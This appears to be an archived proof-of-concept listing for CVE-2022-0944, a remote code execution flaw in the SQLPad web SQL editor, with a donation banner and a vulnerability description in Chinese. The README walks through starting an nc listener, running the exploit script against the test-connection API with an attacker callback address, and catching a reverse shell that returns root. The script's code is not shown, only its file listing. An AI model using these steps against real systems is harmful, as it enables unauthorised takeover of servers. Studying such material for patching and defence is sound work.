Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-0944 PoC — sqlpad 代码注入漏洞

Source
Associated Vulnerability
Title:sqlpad 代码注入漏洞 (CVE-2022-0944)
Description:sqlpad是一个基于 Web 的 SQL 编辑器。 sqlpad 存在安全漏洞,目前暂无该漏洞信息,请随时关注CNNVD或厂商公告。
Description
PoC for RCE in SQLPad (CVE-2022-0944)
Readme
# CVE-2022-0944 PoC
PoC for RCE in SQLPad.

# usage

1. Start a listener

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
```

2.  Run exploit

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ python poc-cve-2022-0944.py -u http://sqlpad.example.com/api/test-connection -a 10.10.11.208 -p 7070
[*] Running exploit against target: http://sqlpad.example.com/api/test-connection
[*] Assembling JSON with payload
[*] Submitting request...
[!] Exploit appears to have been successful.
[*] Done.

┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$
```

3. Check for a shell

```
┌──(kali㉿hammer)-[~/dev/cve-2022-0944]
└─$ nc -lvkp 7070
listening on [any] 7070 ...
connect to [10.10.11.208] from example.com [10.10.11.25] 45502
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# id
id
uid=0(root) gid=0(root) groups=0(root)
root@c184118df0a6:/var/lib/sqlpad#
```
File Snapshot

[4.0K] /data/pocs/c3fe3af55c82ca9392b2a3217161cbe3286ae4bb ├── [1.8K] poc-cve-2022-0944.py └── [1.0K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.